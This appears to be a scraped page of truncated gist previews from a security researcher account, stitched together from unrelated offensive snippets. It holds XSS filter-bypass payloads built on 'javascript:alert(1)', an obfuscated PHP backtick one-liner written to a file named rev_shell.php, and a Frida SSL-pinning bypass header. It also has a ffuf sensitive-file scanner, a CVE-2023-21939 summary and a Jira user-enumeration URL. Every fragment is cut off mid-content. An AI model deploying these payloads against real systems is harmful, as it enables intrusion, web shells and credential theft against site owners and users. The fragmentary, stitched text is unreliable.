0xSojalSec

CVE-2023-21939 - Code Exec - Proof of Concept

Vulnerability Summary: Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Swing). Supported versions that are affected are Oracle Java SE: 8u361, 8u361-perf, 11.0.18, 17.0.6, 20; Oracle GraalVM Enterprise Edition: 20.3.9, 21.3.5 and 22.3.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specifie

0xSojalSec

POST /api/v2/accounts 
GET /api/v2/activities?since=cstest 
GET /api/v2/audit_logs?filter[source_type]=cstest&filter[source_id]=1&filter[actor_id]=1&filter[ip_address]=cstest&filter[created_at]=cstest&filter[action]=cstest&sort_by=cstest&sort_order=cstest&sort=cstest 
GET /api/v2/automations 
POST /api/v2/automations 
GET /api/v2/bookmarks 
POST /api/v2/bookmarks 
GET /api/v2/brands 
POST /api/v2/brands 
GET /api/v2/custom_objects 

0xSojalSec

import argparse
import typing
import math
from uuid import UUID
from pyasn1.codec.der import decoder
from pyasn1_modules import rfc5652
from struct import unpack
from cryptography import utils
from cryptography.exceptions import AlreadyFinalized, InvalidKey
from cryptography.hazmat.primitives.kdf import KeyDerivationFunction

0xSojalSec

INTIGRITI
@intigriti
Red circleLIVE MENTOR SESSION: 
@TomNomNom
 will answer your #BugBounty and tooling questions for the next 4 hours! Comment with your question! 
 https://twitter.com/intigriti/status/1258729529859768320
 
 
 Question from @amalmurali47 :

0xSojalSec

<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

[1]
Bytes: 
\x09 \x0a \x0c \x0d \x20 \x2f

<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">

[2,3]

0xSojalSec

<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;

/*
 *   In terminal:
 *       $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
 *   This is how the code will be produced, \xa0\xb8\xba\xab will be 
 *   treated as constant therefore no " needed. It is also not copyable
 *   string because of non-ascii characters
 *
 *   Explanation:

0xSojalSec

#!/bin/sh
#tomnomnom juicy files https://gist.github.com/tomnomnom/57af04c3422aac8c6f04451a4c1daa51
# ffuf tool https://github.com/ffuf/ffuf
# put the ffuf bin at /usr/local/bin and give the juicy.sh permission to execute with chmod +x juicy.sh and copy to 
# /usr/local/bin too.. after that.. execute juicy.sh at any terminal.
# usage bash juicy.sh filename.txt

filename="$1"
while read -r line; do
    name="$line"

0xSojalSec

console.log("[*] SSL Pinning Bypasses");
console.log(`[*] Your frida version: ${Frida.version}`);
console.log(`[*] Your script runtime: ${Script.runtime}`);

/**
 * by incogbyte
 * Common functions 
 * thx apkunpacker, NVISOsecurity, TheDauntless
 * Remember that sslpinning can be custom, and sometimes u need to reversing using ghidra,IDA or something like that.
 * !!! THIS SCRIPT IS NOT A SILVER BULLET !!

0xSojalSec

{
  "programs": [
    {
      "name": "spacex",
      "url": "https://bugcrowd.com/spacex",
      "wildcards": [
        "starlink.com",
        "starlinkisp.net"
      ],
      "out_of_scope_domains": [],

0xSojalSec

cve-2019-8449 
The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability. 
 https://jira.atlassian.com/browse/JRASERVER-69796
 https://victomhost/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
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